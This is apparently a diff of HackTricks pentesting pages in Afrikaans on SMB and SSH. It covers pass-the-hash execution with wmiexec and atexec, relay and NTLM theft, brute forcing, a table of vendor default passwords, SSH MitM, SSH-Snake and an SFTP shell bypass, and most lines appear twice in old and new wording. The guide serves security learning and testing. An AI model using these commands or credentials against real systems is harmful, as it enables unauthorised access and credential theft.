Heimlik voer 'n command shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
In **kali** is dit geleë by /usr/share/doc/python3-impacket/examples/
Voer stilweg 'n opdragprompt uit sonder om die skyf aan te raak of 'n nuwe diens te begin deur DCOM via **port 135.**\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Deur die **parameter**`-k` te gebruik, kan jy teen **kerberos** autentiseer in plaas van **NTLM**.
Deur die **parameter**`-k` te gebruik, kan jy teen **kerberos** verifieer in plaas van **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -410,8 +425,8 @@ Deur die **parameter**`-k` te gebruik, kan jy teen **kerberos** autentiseer in p
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Voer kommando's uit via die Taakskeduleerder (wat _\pipe\atsvc_ via SMB gebruik).\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
Voer opdragte uit via die Task Scheduler (met gebruik van _\pipe\atsvc_ via SMB).\
In **kali** is dit geleë in /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -420,13 +435,13 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
### ksmbd aanvalsoppervlakte en SMB2/SMB3 protokol fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce gebruikersbewyse**
## **Bruteforce gebruikers credentials**
**Dit word nie aanbeveel nie — jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
```bash
@ -435,8 +450,8 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Hierdie aanval gebruik die Responder toolkit om **SMB-authentiseringsessies vas te vang** op 'n interne netwerk, en **herlei** dit na 'n **teikenmasjien**. As die authentisering **sessie suksesvol** is, sal dit jou outomaties in 'n **stelsel** **shell** plaas.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Hierdie aanval gebruik die Responder toolkit om **SMB authentication sessions** op 'n interne netwerk te onderskep en dit te **relay** na 'n **target machine**. As die authentication **session** suksesvol is, sal dit jou outomaties in 'n **system** **shell** bring.\
[**Meer inligting oor hierdie aanval hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
@ -449,19 +464,19 @@ Dit gebeur met die funksies:
- URLOpenStream
- URLOpenBlockingStream
Wat deur sommige blaaiers en gereedskap gebruik word (soos Skype)
Wat deur sekere browsers en tools (soos Skype) gebruik word
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap using MitMf
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
Vergelykbaar met SMB Trapping, kan die plant van kwaadwillige lêers op 'n teikenstelsel (byvoorbeeld via SMB) 'n SMB-authentiseringspoging uitlok, wat toelaat dat die NetNTLMv2-hash met 'n hulpmiddel soos Responder onderskep word. Die hash kan dan offline gekraak word of gebruik word in 'n [SMB relay attack](#smb-relay-attack).
Net soos SMB Trapping kan die plaas van kwaadwillige lêers op 'n teikenstelsel (byvoorbeeld via SMB) 'n SMB-autentiseringspoging uitlok, wat toelaat dat die NetNTLMv2-hash met 'n hulpmiddel soos Responder onderskep word. Die hash kan dan offline gekraak word of gebruik word in 'n [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[Sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Outomatiese Opdragte
```
@ -496,8 +511,8 @@ getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -532,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
## Verwysings
- [NetExec (CME) wiki Kerberos gebruik](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) kliëntopstelling en probleemoplossing](../pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,25 +4,25 @@
## Basiese Inligting
**SSH (Secure Shell of Secure Socket Shell)** is 'n netwerkprotokol wat 'n veilige verbinding met 'n rekenaar oor 'n onveilige netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word.
**SSH (Secure Shell or Secure Socket Shell)** is 'n netwerkprotokol wat 'n veilige verbinding tot 'n rekenaar oor 'n ongesekureerde netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word.
**Standaard poort:** 22
**Standaardpoort:** 22
```
22/tcp open ssh syn-ack
```
**SSH bedieners:**
**SSH servers:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, verskaf in BSD, Linux verspreidings en Windows sedert Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) SSH implementasie vir omgewings met lae geheue en verwerker hulpbronne, verskaf in OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH implementasie vir Windows, die kliënt word algemeen gebruik maar die gebruik van die bediener is selde
- [CopSSH](https://www.itefix.net/copssh) implementasie van OpenSSH vir Windows
- [openSSH](http://www.openssh.org) OpenBSD SSH, ingesluit in BSD, Linux-verspreidings en Windows sedert Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) SSH-implementering vir omgewings met lae geheue- en verwerkerhulpbronne, ingesluit in OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH-implementering vir Windows, die kliënt word algemeen gebruik, maar die gebruik van die bediener is minder algemeen
- [CopSSH](https://www.itefix.net/copssh) implementering van OpenSSH vir Windows
**SSH biblioteke (wat bediener-kant implementeer):**
**SSH libraries (implementing server-side):**
- [libssh](https://www.libssh.org) multiplatform C biblioteek wat die SSHv2 protokol implementeer met bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) en [R](https://github.com/ropensci/ssh); dit word deur KDE vir sftp en deur GitHub vir die git SSH infrastruktuur gebruik
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2 bediener biblioteek geskryf in ANSI C en gemik op ingebedde, RTOS, en hulpbron-beperkte omgewings
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD java biblioteek is gebaseer op Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2 protokol biblioteek
- [libssh](https://www.libssh.org) veelplatform C-biblioteek wat die SSHv2-protokol implementeer met bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) en [R](https://github.com/ropensci/ssh); dit word deur KDE gebruik vir sftp en deur GitHub vir die git SSH-infrastruktuur
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2-bedienerbiblioteek geskryf in ANSI C en gemik op ingebedde, RTOS en hulpbron-beperkte omgewings
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD java library is based on Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2-protokolbiblioteek
## Enumerasie
@ -30,25 +30,25 @@
```bash
nc -vn <IP> 22
```
### Geoutomatiseerde ssh-audit
### Outomatiese ssh-audit
ssh-audit is 'n hulpmiddel vir die oudit van ssh bediener- en kliëntkonfigurasie.
ssh-audit is 'n hulpmiddel vir die ouditering van ssh server- en client-konfigurasies.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is 'n opgedateerde fork van [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is 'n bygewerkte fork van [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Kenmerke:**
- SSH1 en SSH2 protokol bedienerondersteuning;
- analiseer SSH kliëntkonfigurasie;
- gryp banner, herken toestel of sagteware en bedryfstelsel, detecteer kompressie;
- versamel sleuteluitruil, gasheer-sleutel, enkripsie en boodskapverifikasiekode algoritmes;
- voer algoritme-inligting uit (beskikbaar sedert, verwyder/uitgeskakel, onveilig/ swak/ ou, ens.);
- voer algoritme-aanbevelings uit (voeg by of verwyder gebaseer op herkenbare sagteware weergawe);
- voer sekuriteitsinligting uit (verwante probleme, toegewyde CVE lys, ens.);
- analiseer SSH weergawe-kompatibiliteit gebaseer op algoritme-inligting;
- historiese inligting van OpenSSH, Dropbear SSH en libssh;
- loop op Linux en Windows;
- geen afhanklikhede
- Ondersteuning vir SSH1- en SSH2-protokolle;
- Ontleed SSH client-konfigurasie;
- Haal banner, herken toestel of sagteware en bedryfstelsel, detecteer kompressie;
- Versamel key-exchange, host-key, encryption en message authentication code algoritmes;
- Gee algoritme-inligting uit (beskikbaar sedert, verwyder/gedeaktiveer, onveilig/swak/legacy, ens.);
- Gee algoritme-aanbevelings uit (voeg by of verwyder gebaseer op erkende sagtewareweergawe);
- Gee sekuriteitsinligting uit (verwante probleme, toegewezen CVE-lys, ens.);
- Analiseer SSH-weergawes se verenigbaarheid gebaseer op algoritme-inligting;
- Historiese inligting van OpenSSH, Dropbear SSH en libssh;
- Draai op Linux en Windows;
- Geen afhanklikhede
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -71,15 +71,15 @@ $ python3 ssh-audit <IP>
```
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Publieke SSH-sleutel van bediener
### Publieke SSH-sleutel van die server
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Swak Koderingsalgoritmes
### Swak kriptografiese algoritmes
Dit word standaard ontdek deur **nmap**. Maar jy kan ook **sslcan** of **sslyze** gebruik.
Dit word standaard deur **nmap** ontdek. Maar jy kan ook **sslcan** of **sslyze** gebruik.
### Nmap skripte
### Nmap scripts
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
@ -91,116 +91,135 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh`
## Brute force gebruikersname, wagwoorde en privaat sleutels
## Brute force usernames, passwords and private keys
### Gebruikersnaam Enumerasie
### Username Enumeration
In sommige weergawes van OpenSSH kan jy 'n tydaanval maak om gebruikers te enumerate. Jy kan 'n metasploit-module gebruik om dit te benut:
In sommige weergawes van OpenSSH kan jy 'n timing attack uitvoer om users te enumerate. Jy kan 'n metasploit module gebruik om dit te exploit:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Brute force](../generic-hacking/brute-force.md#ssh)
Sommige algemene ssh geloofsbriewe [hier ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)en [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) en hieronder.
Sommige algemene ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) en hieronder.
### Private Key Brute Force
As jy van sommige ssh private sleutels weet wat gebruik kan word... kom ons probeer dit. Jy kan die nmap skrip gebruik:
As jy sommige ssh private keys ken wat gebruik kan word... kom ons probeer dit. Jy kan die nmap script gebruik:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
Of die MSF bykomende module:
Of die MSF auxiliary module:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Of gebruik `ssh-keybrute.py` (natuurlike python3, liggewig en het erfenisalgoritmes geaktiveer): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Of gebruik `ssh-keybrute.py` (native python3, liggewig en het legacy-algoritmes aangeskakel): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Bekende slegte sleutels kan hier gevind word:
#### Bekende badkeys kan hier gevind word:
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Swak SSH sleutels / Debian voorspelbare PRNG
#### Swak SSH-sleutels / Debian voorspelbare PRNG
Sommige stelsels het bekende foute in die ewekansige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat gebruteforce kan word. Voor-gegeneerde stelle sleutels wat op Debian-stelsels gegenereer is wat deur swak PRNG geraak word, is hier beskikbaar: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Sommige stelsels het bekende foute in die ewekansige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat bruteforced kan word. Vooraf-gegenereerde stelle sleutels wat op Debian-stelsels gegenereer is en deur die swak PRNG geraak is, is hier beskikbaar: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Jy moet hier kyk om geldige sleutels vir die slagoffer masjien te soek.
Jy behoort hier te kyk om geldige sleutels vir die slagofferrekenaar te soek.
### Kerberos
### Kerberos / GSSAPI SSO
**crackmapexec** wat die `ssh` protokol gebruik, kan die opsie `--kerberos` gebruik om **te autentiseer via kerberos**.\
Vir meer inligting, voer `crackmapexec ssh --help` uit.
As die teiken-SSH-bediener GSSAPI ondersteun (byvoorbeeld Windows OpenSSH op 'n domain controller), kan jy authentiseer met jou Kerberos TGT in plaas van 'n wagwoord.
## Standaard Kredensiale
Werkvloei vanaf 'n Linux aanvallermasjien:
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Notes:
- As jy met die verkeerde naam koppel (bv. kort gasheer, alias, of verkeerde volgorde in `/etc/hosts`), kan jy die fout kry: "Server not found in Kerberos database" omdat die SPN nie ooreenstem nie.
- `crackmapexec ssh --kerberos` kan ook jou ccache vir Kerberos-auth gebruik.
## Standaard Kredensiële
| **Verskaffer** | **Gebruikersname** | **Wagwoorde** |
| -------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, toestel | apc |
| Brocade | admin | admin123, wagwoord, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, standaard, wagwoord, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, aanval, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, publiek, rootadmin, wanscaler |
| D-Link | admin, gebruiker | privaat, admin, gebruiker |
| Dell | root, gebruiker1, admin, vkernel, cli | calvin, 123456, wagwoord, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Wagwoord#1, Wagwoord123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, bestuur, hpsupport, opc_op | admin, wagwoord, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, mooi, toegang, konfig, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !bestuur, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, bestuurder, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, stelsel, toestel, ufmcli, klant | PASSW0RD, passw0rd, admin, wagwoord, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, standaard |
| -------------- | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
As jy in die plaaslike netwerk is soos die slagoffer wat gaan aansluit by die SSH-bediener met gebruikersnaam en wagwoord, kan jy probeer om 'n **MitM-aanval uit te voer om daardie kredensiale te steel:**
As jy in die plaaslike netwerk is en die slagoffer gaan met gebruikersnaam en wagwoord na die SSH-bediener koppel, kan jy probeer om 'n MitM-aanval uit te voer om daardie kredensiële te steel:
**Aanvalspad:**
Aanvals-pad:
- **Verkeersherleiding:** Die aanvaller **lei** die slagoffer se verkeer na hul masjien, wat effektief die verbinding poging na die SSH-bediener **afvang**.
- **Afvang en Teken:** Die aanvaller se masjien funksioneer as 'n **proxy**, **vang** die gebruiker se aanmeldbesonderhede op deur voor te gee om die wettige SSH-bediener te wees.
- **Opdraguitvoering en Relay:** Laastens, die aanvaller se bediener **registreer die gebruiker se kredensiale**, **stuur die opdragte** na die werklike SSH-bediener, **voert dit uit**, en **stuur die resultate terug** na die gebruiker, wat die proses glad en wettig laat lyk.
- Traffic Redirection: Die aanvaller lei die slagoffer se verkeer om na hul masjien, en onderskep dus die verbindingspoging na die SSH-bediener.
- Interception and Logging: Die aanvaller se masjien tree op as 'n proxy en kap die gebruiker se aanmeldbesonderhede deur voor te gee dat dit die regte SSH-bediener is.
- Command Execution and Relay: Laastens log die aanvaller se bediener die gebruiker se kredensiële, stuur die opdragte deur na die werklike SSH-bediener, voer dit uit, en stuur die resultate terug aan die gebruiker, wat die proses na aan die oog laat voorkom.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) doen presies wat hierbo beskryf is.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) doen presies soos hierbo beskryf.
Om die werklike MitM uit te voer, kan jy tegnieke soos ARP spoofing, DNS spoofing of ander wat beskryf word in die [**Netwerk Spoofing-aanvalle**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) gebruik.
Om die MitM werklik uit te voer, kan jy tegnieke soos ARP spoofing, DNS spoofing of ander wat in die [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beskryf word, gebruik.
## SSH-Snake
As jy 'n netwerk wil deurkruis met ontdekte SSH private sleutels op stelsels, wat elke private sleutel op elke stelsel vir nuwe gasheers gebruik, dan is [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) wat jy nodig het.
As jy 'n netwerk wil deurgang deur gevonde SSH private keys op stelsels te gebruik, en elke private sleutel op elke stelsel vir nuwe gashere te probeer, dan is [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) wat jy nodig het.
SSH-Snake voer die volgende take outomaties en herhalend uit:
SSH-Snake voer die volgende take outomaties en rekursief uit:
1. Op die huidige stelsel, vind enige SSH private sleutels,
2. Op die huidige stelsel, vind enige gasheers of bestemmings (gebruiker@gasheer) wat die private sleutels mag aanvaar,
3. Probeer om SSH in al die bestemmings in te gaan met al die ontdekte private sleutels,
4. As 'n bestemming suksesvol gekoppel is, herhaal stappe #1 - #4 op die gekoppelde stelsel.
1. Op die huidige stelsel, vind enige SSH private keys,
2. Op die huidige stelsel, vind enige gashere of bestemmings (user@host) waar die private sleutels aanvaar kan word,
3. Probeer om in te SSH na al die bestemmings met al die gevonde private sleutels,
4. As 'n bestemming suksesvol bereik word, herhaal dit stappe #1 - #4 op die gekonnekteerde stelsel.
Dit is heeltemal self-repliserend en self-propagasies -- en heeltemal vry van lêers.
Dit is heeltemal self-replikerend en self-propagërend — en heeltemal fileless.
## Konfig Misconfigurasies
## Konfigurasiefoute
### Root aanmelding
### Root-aanmelding
Dit is algemeen dat SSH-bedieners root gebruikers aanmelding standaard toelaat, wat 'n beduidende sekuriteitsrisiko inhou. **Deaktiveer root aanmelding** is 'n kritieke stap in die beveiliging van die bediener. Ongeoorloofde toegang met administratiewe regte en gebruteforce-aanvalle kan verminder word deur hierdie verandering te maak.
Dit is algemeen dat SSH-bedieners standaard root-gebruiker aanmelding toelaat, wat 'n beduidende sekuriteitsrisiko vorm. Om root-aanmelding uit te skakel is 'n kritieke stap om die bediener te beveilig. Ongemagtigde toegang met administratiewe regte en brute-force-aanvalle kan met hierdie verandering gemilder word.
**Om Root Aanmelding in OpenSSH te Deaktiveer:**
Om Root-aanmelding in OpenSSH uit te skakel:
1. **Wysig die SSH konfigurasie lêer** met: `sudoedit /etc/ssh/sshd_config`
2. **Verander die instelling** van `#PermitRootLogin yes` na **`PermitRootLogin no`**.
3. **Herlaai die konfigurasie** met: `sudo systemctl daemon-reload`
4. **Herbegin die SSH-bediener** om veranderinge toe te pas: `sudo systemctl restart sshd`
1. Edit die SSH-konfigurasielêer met: `sudoedit /etc/ssh/sshd_config`
2. Verander die instelling van `#PermitRootLogin yes` na **`PermitRootLogin no`**.
3. Herlaai die konfigurasie met: `sudo systemctl daemon-reload`
4. Herbegin die SSH-bediener om die veranderinge toe te pas: `sudo systemctl restart sshd`
### SFTP Brute Force
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### SFTP opdraguitvoering
### SFTP opdrag-uitvoering
Daar is 'n algemene oorsig wat plaasvind met SFTP-opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang te aktiveer. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding te vra, voordat hul aangewese nie-interaktiewe shell oorgeneem word. Dit stel ongeoorloofde opdraguitvoering in staat, wat die beoogde sekuriteitsmaatreëls ondermyn.
Daar is 'n algemene oorhoofse fout in SFTP-opstellings waar administrateurs beoog dat gebruikers lêers kan ruil sonder om remote shell-toegang toe te laat. Ondanks dat gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) ingestel is en tot 'n spesifieke gids beperk is, bly daar 'n sekuriteitsleemte. Gebruikers kan hierdie beperkings omseil deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding te versoek, voordat hul aangewese nie-interaktiewe shell oorneem. Dit maak ongemagtigde opdrag-uitvoering moontlik en ondermyn die beoogde sekuriteitsmaatreëls.
[Voorbeeld van hier](https://community.turgensec.com/ssh-hacking-guide/):
[Voorbeeld hiervandaan](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id
...
@ -233,42 +252,42 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Hierdie konfigurasie sal slegs SFTP toelaat: dit deaktiveer skulp toegang deur die beginopdrag af te dwing en deaktiveer TTY toegang, maar deaktiveer ook alle vorme van poort forwarding of tunneling.
Hierdie konfigurasie sal slegs SFTP toelaat: dit skakel shell-toegang uit deur die start command af te dwing en TTY-toegang te deaktiveer, maar dit skakel ook alle vorme van port forwarding of tunneling uit.
### SFTP Tunneling
As jy toegang tot 'n SFTP bediener het, kan jy ook jou verkeer deur hierdie tunneling, byvoorbeeld deur die algemene poort forwarding, stuur:
As jy toegang het tot 'n SFTP-server, kan jy jou verkeer ook hierdeur tunnel, byvoorbeeld deur die algemene port forwarding te gebruik:
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
Die **sftp** het die opdrag "**symlink**". Daarom, as jy **skryfregte** in 'n sekere gids het, kan jy **symlinks** van **ander gidse/lêers** skep. Aangesien jy waarskynlik **gevang** is binne 'n chroot, sal dit **nie besonders nuttig** vir jou wees nie, maar as jy die geskepte **symlink** van 'n **no-chroot** **diens** kan **toegang** (byvoorbeeld, as jy die symlink van die web kan toegang), kan jy die **symlinked lêers deur die web** **oopmaak**.
Die **sftp** het die opdrag "**symlink**". Daarom, as jy **writable rights** in 'n bepaalde gids het, kan jy **symlinks** van **ander gidse/lêers** skep. Aangesien jy waarskynlik binne 'n chroot vasgevang is, sal dit vir jou nie besonder nuttig wees nie, maar as jy toegang tot die geskepte **symlink** vanaf 'n **no-chroot** **service** kan kry (byvoorbeeld as jy die symlink vanaf die web kan bereik), kan jy die **symlinked files** deur die web oopmaak.
Byvoorbeeld, om 'n **symlink** van 'n nuwe lêer **"**_**froot**_**" na "**_**/**_**"** te skep:
Byvoorbeeld, om 'n **symlink** te skep van 'n nuwe lêer **"**_**froot**_**" na "**_**/**_**"**:
```bash
sftp> symlink / froot
```
As jy toegang tot die lêer "_froot_" via die web kan kry, sal jy in staat wees om die wortel ("/") gids van die stelsel te lys.
As jy toegang tot die lêer "_froot_" via die web het, kan jy die root ("/")-gids van die stelsel lys.
### Verifikasie metodes
### Verifikasie-metodes
In 'n hoë sekuriteit omgewing is dit 'n algemene praktyk om slegs sleutel-gebaseerde of twee-faktor verifikasie in te skakel eerder as die eenvoudige faktor wagwoord-gebaseerde verifikasie. Maar dikwels word die sterker verifikasie metodes geaktiveer sonder om die swakkeres te deaktiveer. 'n Gereelde geval is om `publickey` op openSSH-konfigurasie in te skakel en dit as die standaard metode in te stel, maar nie `password` te deaktiveer nie. So deur die uitgebreide modus van die SSH-kliënt te gebruik, kan 'n aanvaller sien dat 'n swakker metode geaktiveer is:
